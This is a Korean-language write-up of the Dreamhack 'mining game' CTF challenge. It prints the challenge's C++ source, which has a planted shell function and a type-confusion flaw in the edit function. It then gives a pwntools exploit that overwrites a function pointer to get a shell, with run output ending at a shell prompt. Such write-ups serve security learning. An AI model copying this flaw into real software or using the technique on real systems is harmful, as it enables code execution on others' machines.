dreamhack - mining game writeup
[dreamhack] mining game writeup
1. 문제

mining game
희귀한 광물을 채굴할 수 있는 게임이 출시되었습니다.
프로그램에 존재하는 취약점으로 플래그를 획득해보세요!
2. 풀이
#include <iostream>
#include <vector>
#include <string>
#include <random>
#include <chrono>
#include <thread>
#include <csignal>
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
#define CMD_MINING 1
#define CMD_SHOW_MINERAL_BOOK 2
#define CMD_EDIT_MINERAL_BOOK 3
#define CMD_EXIT 4
#define MAX_DESCRIPTION_SIZE 0x10
typedef void (*DESC_FUNC)(void);
/* Initialization */
void get_shell()
{
system("/bin/sh");
}
void alarm_handler(int trash)
{
std::cout << "TIME OUT" << std::endl;
exit(-1);
}
void __attribute__((constructor)) initialize(void)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
/* Print functions */
void print_banner()
{
std::cout << "I love minerals!" << std::endl;
}
void print_menu()
{
std::cout << std::endl << "[Menu]" << std::endl;
std::cout << "1. Mining" << std::endl;
std::cout << "2. Show mineral book" << std::endl;
std::cout << "3. Edit mineral book" << std::endl;
std::cout << "4. Exit program" << std::endl;
}
void print_scandium_description()
{
std::cout << "Name : Scandium" << std::endl;
std::cout << "Symbol : Sc" << std::endl;
std::cout << "Description : A silvery-white metallic d-block element" << std::endl;
}
void print_yttrium_description()
{
std::cout << "Name : Yttrium" << std::endl;
std::cout << "Symbol : Y" << std::endl;
std::cout << "Description : A silvery-metallic transition metal chemically similar to the lanthanides" << std::endl;
}
void print_lanthanum_description()
{
std::cout << "Name : Lanthanum" << std::endl;
std::cout << "Symbol : La" << std::endl;
std::cout << "Description : A soft, ductile, silvery-white metal that tarnishes slowly when exposed to air" << std::endl;
}
void print_cerium_description()
{
std::cout << "Name : Cerium" << std::endl;
std::cout << "Symbol : Ce" << std::endl;
std::cout << "Description : A soft, ductile, and silvery-white metal that tarnishes when exposed to air" << std::endl;
}
void print_praseodymium_description()
{
std::cout << "Name : Praseodymium" << std::endl;
std::cout << "Symbol : Pr" << std::endl;
std::cout << "Description : A soft, silvery, malleable and ductile metal, valued for its magnetic, electrical, chemical, and optical properties" << std::endl;
}
std::vector<DESC_FUNC> rare_earth_description_funcs = {
print_scandium_description,
print_yttrium_description,
print_lanthanum_description,
print_cerium_description,
print_praseodymium_description
};
/* Utils */
int get_int(const char* prompt = ">> ")
{
std::cout << prompt;
int x;
std::cin >> x;
return x;
}
std::string get_string(const char* prompt = ">> ")
{
std::cout << prompt;
std::string x;
std::cin >> x;
return x;
}
int get_rand_int(int start, int end)
{
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<int> dis(start, end);
return dis(gen);
}
/* Classes */
class Mineral
{
public:
virtual void print_description() const = 0;
};
class UndiscoveredMineral : public Mineral
{
public:
UndiscoveredMineral(std::string description_)
{
strncpy(description, description_.c_str(), MAX_DESCRIPTION_SIZE);
}
void print_description() const override
{
std::cout << "Name : Unknown" << std::endl;
std::cout << "Symbol : Un" << std::endl;
std::cout << "Description : " << description << std::endl;
}
char description[MAX_DESCRIPTION_SIZE];
};
class RareEarth : public Mineral
{
public:
RareEarth(DESC_FUNC description_)
: description(description_)
{
}
void print_description() const override
{
if ( description )
description();
}
DESC_FUNC description;
};
/* Action functions */
std::vector<Mineral *> minerals;
void mining()
{
std::cout << "[+] Mining..." << std::endl;
std::this_thread::sleep_for(std::chrono::milliseconds(get_rand_int(100, 1000)));
if ( get_rand_int(1, 100) <= 50 )
{
std::cout << "[+] Congratulations! you found an *undiscovered* mineral!" << std::endl;
std::string description = get_string("Please enter mineral's description : ");
minerals.push_back(new UndiscoveredMineral(description));
}
else if ( get_rand_int(1, 100) <= 5 )
{
std::cout << "[+] You found a rare-earth element!" << std::endl;
DESC_FUNC description = rare_earth_description_funcs[get_rand_int(0, rare_earth_description_funcs.size() - 1)];
minerals.push_back(new RareEarth(description));
minerals.back()->print_description();
}
else {
std::cout << "[!] Found nothing" << std::endl;
}
return;
}
void edit_mineral_book()
{
int index = get_int("[?] Index : ");
if ( index < 0 || index >= minerals.size() )
{
std::cout << "[!] Invalid index" << std::endl;
return;
}
std::string description = get_string("Please enter mineral's description : ");
strncpy(
static_cast<UndiscoveredMineral*>(minerals[index])->description,
description.c_str(),
MAX_DESCRIPTION_SIZE
);
}
void show_mineral_book()
{
for ( int index = 0; index < minerals.size(); index++ )
{
std::cout << "--------------------" << std::endl;
std::cout << "Index : " << index << std::endl;
minerals[index]->print_description();
}
std::cout << std::endl;
}
/* Main function */
int main(){
print_banner();
while(1){
print_menu();
int selector = get_int();
switch (selector){
case CMD_MINING:
mining();
break;
case CMD_SHOW_MINERAL_BOOK:
show_mineral_book();
break;
case CMD_EDIT_MINERAL_BOOK:
edit_mineral_book();
break;
case CMD_EXIT:
return 0;
default:
std::cout << "[!] You select wrong number!" << std::endl;
break;
}
}
return 0;
}
뭔가 코드가 길지만 정리하면 아래와 같다.
- 1. 광물을 캔다.
-
undiscovered
광물을 캐면 문자열로description
을 입력한다. -
rare
광물을 캐면print_description
함수가 실행되면서 사전에 정의된 내용이 들어간다.
-
- 2. 캔 광물에 대해 출력한다.
- 3. 캔 광물에 대한
description
을 수정한다.
예전에 풀었던 cpp casting 문제와 비슷했다.
undiscovered mineral
일때는 description
을 직접 문자열로 입력하지만 rare mineral
일때는 print_description
함수가 실행되도록 되어있다.
그런데 edit
을 할때 rare mineral
도 undiscovered mineral
의 형태로 casting하고 description
을 직접 입력해서 strncpy
를 통해 수정할 수 있다.
이때 description
에 get_shell
함수의 주소를 넣어주고, show
를 하면 print_description
함수가 동작하게 되면서 get_shell
함수가 실행된다.
exploit과 결과는 아래와 같다.
from pwn import *
p = process("./main")
p = remote("host8.dreamhack.games", 14974)
get_shell = 0x40257a
ind = 0
while 1:
p.sendlineafter(b">> ", b"1")
p.recvline() # mining
tmp = p.recvline()
print(tmp)
if b"undiscovered" in tmp:
p.sendlineafter(b": ", b"1")
print("no")
ind += 1
elif b"rare" in tmp:
print("found!")
break
else:
continue
p.sendlineafter(b">> ", b"3")
p.sendlineafter(b"Index : ", str(ind))
p.sendlineafter(b"description : ", p64(get_shell))
p.sendlineafter(b">> ", b"2")
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level3/mining_game$ python3 e_mining_game.py
[*] Checking for new versions of pwntools
To disable this functionality, set the contents of /home/ubuntu/.cache/.pwntools-cache-3.12/update to 'never' (old way).
Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
[update]
interval=never
[*] You have the latest version of Pwntools (4.14.1)
[+] Starting local process './main': pid 3161013
b'[!] Found nothing\n'
b'[!] Found nothing\n'
b'[+] Congratulations! you found an *undiscovered* mineral!\n'
no
(중략)
b'[+] You found a rare-earth element!\n'
found!
/home/ubuntu/dreamhack/level3/mining_game/e_mining_game.py:25: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.sendlineafter(b"Index : ", str(ind))
[*] Switching to interactive mode
--------------------
Index : 0
Name : Unknown
Symbol : Un
Description : 1
--------------------
(중략)
--------------------
Index : 29
Name : Unknown
Symbol : Un
Description : 1
--------------------
Index : 30
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)
문제라면 timeout이 걸려있는데 그전까지 rare mineral
이 안나오면 그냥 실패한다는 것…
5% 확률이니까 빨리 나와주길 비는 수 밖에 없다.
해결~